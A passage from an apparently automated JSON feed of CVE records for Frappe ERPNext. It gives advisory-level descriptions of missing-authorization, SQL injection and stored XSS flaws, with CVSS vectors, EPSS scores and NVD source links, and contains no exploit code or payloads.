master data beyond their permitted role. Attackers can send requests to certain endpoints lacking proper authorization checks to make unauthorized changes to master data records.","detail":"Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role. Attackers can send requests to certain endpoints lacking proper authorization checks to make unauthorized changes to master data records.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:29.060Z","updatedAt":"2026-10-14T13:17:26.923Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109637","asOf":"2026-10-14T13:17:26.923Z"},"epss":{"probability":0.00221,"percentile":0.12502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109637","type":"primary","publishedAt":"2026-10-12T23:17:29.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109636","cveId":"CVE-2026-109636","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated attackers with low-privileged accounts can call these endpoints to read financial data beyond their permitted role.","detail":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated attackers with low-privileged accounts can call these endpoints to read financial data beyond their permitted role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:28.900Z","updatedAt":"2026-10-15T15:17:26.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109636","asOf":"2026-10-15T15:17:26.877Z"},"epss":{"probability":0.00258,"percentile":0.17242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109636","type":"primary","publishedAt":"2026-10-12T23:17:28.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109633","cveId":"CVE-2026-109633","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is...","summary":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is stored without neutralization. Unauthenticated attackers can submit crafted content that is rendered as raw HTML in a privileged user's session, executing script to act as that user and take over the account.","detail":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is stored without neutralization. Unauthenticated attackers can submit crafted content that is rendered as raw HTML in a privileged user's session, executing script to act as that user and take over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:28.220Z","updatedAt":"2026-10-13T17:17:30.537Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109633","asOf":"2026-10-13T17:17:30.537Z"},"epss":{"probability":0.00245,"percentile":0.15614,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109633","type":"primary","publishedAt":"2026-10-12T23:17:28.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109632","cveId":"CVE-2026-109632","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints directly to read data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints directly to read data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:28.040Z","updatedAt":"2026-10-14T13:17:26.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109632","asOf":"2026-10-14T13:17:26.797Z"},"epss":{"probability":0.00258,"percentile":0.17242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109632","type":"primary","publishedAt":"2026-10-12T23:17:28.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109631","cveId":"CVE-2026-109631","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter...","summary":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter database queries. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to extract sensitive information from the database.","detail":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter database queries. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:27.870Z","updatedAt":"2026-10-15T15:17:26.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109631","asOf":"2026-10-15T15:17:26.750Z"},"epss":{"probability":0.00276,"percentile":0.19855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109631","type":"primary","publishedAt":"2026-10-12T23:17:27.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109628","cveId":"CVE-2026-109628","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying...","summary":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying record status. Authenticated low-privileged attackers can invoke these endpoints to alter data beyond their permitted role, compromising data integrity.","detail":"Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying record status. Authenticated low-privileged attackers can invoke these endpoints to alter data beyond their permitted role, compromising data integrity.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:27.360Z","updatedAt":"2026-10-13T17:17:30.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109628","asOf":"2026-10-13T17:17:30.403Z"},"epss":{"probability":0.00221,"percentile":0.12503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109628&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109628","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109628","type":"primary","publishedAt":"2026-10-12T23:17:27.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109628&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109628, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109627","cveId":"CVE-2026-109627","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints directly to read financial data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints directly to read financial data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:27.187Z","updatedAt":"2026-10-14T13:17:26.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109627","asOf":"2026-10-14T13:17:26.667Z"},"epss":{"probability":0.00258,"percentile":0.17244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109627","type":"primary","publishedAt":"2026-10-12T23:17:27.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109626","cveId":"CVE-2026-109626","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints.","summary":"Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.","detail":"Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:27.023Z","updatedAt":"2026-10-15T15:17:26.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109626","asOf":"2026-10-15T15:17:26.617Z"},"epss":{"probability":0.00276,"percentile":0.19854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109626&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109626","type":"primary","publishedAt":"2026-10-12T23:17:27.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109626&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109626, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109625","cveId":"CVE-2026-109625","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks.","summary":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks. Authenticated users can request these endpoints to read financial data beyond the permissions granted by their assigned role.","detail":"Frappe ERPNext before 15.121.3 and 16.x before 16.35.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce role-based authorization checks. Authenticated users can request these endpoints to read financial data beyond the permissions granted by their assigned role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:26.860Z","updatedAt":"2026-10-18T13:16:34.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109625","asOf":"2026-10-18T13:16:34.217Z"},"epss":{"probability":0.00258,"percentile":0.17241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109625","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109625","type":"primary","publishedAt":"2026-10-12T23:17:26.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109624","cveId":"CVE-2026-109624","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints to read personal data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints to read personal data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:26.697Z","updatedAt":"2026-10-13T14:17:28.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109624","asOf":"2026-10-13T14:17:28.103Z"},"epss":{"probability":0.00258,"percentile":0.17241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109624&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109624","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109624","type":"primary","publishedAt":"2026-10-12T23:17:26.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109624&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109624, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109621","cveId":"CVE-2026-109621","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement.","summary":"Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement. Authenticated attackers can set this flag when calling the endpoint to skip permission checks and read party records beyond their permitted role.","detail":"Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement. Authenticated attackers can set this flag when calling the endpoint to skip permission checks and read party records beyond their permitted role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 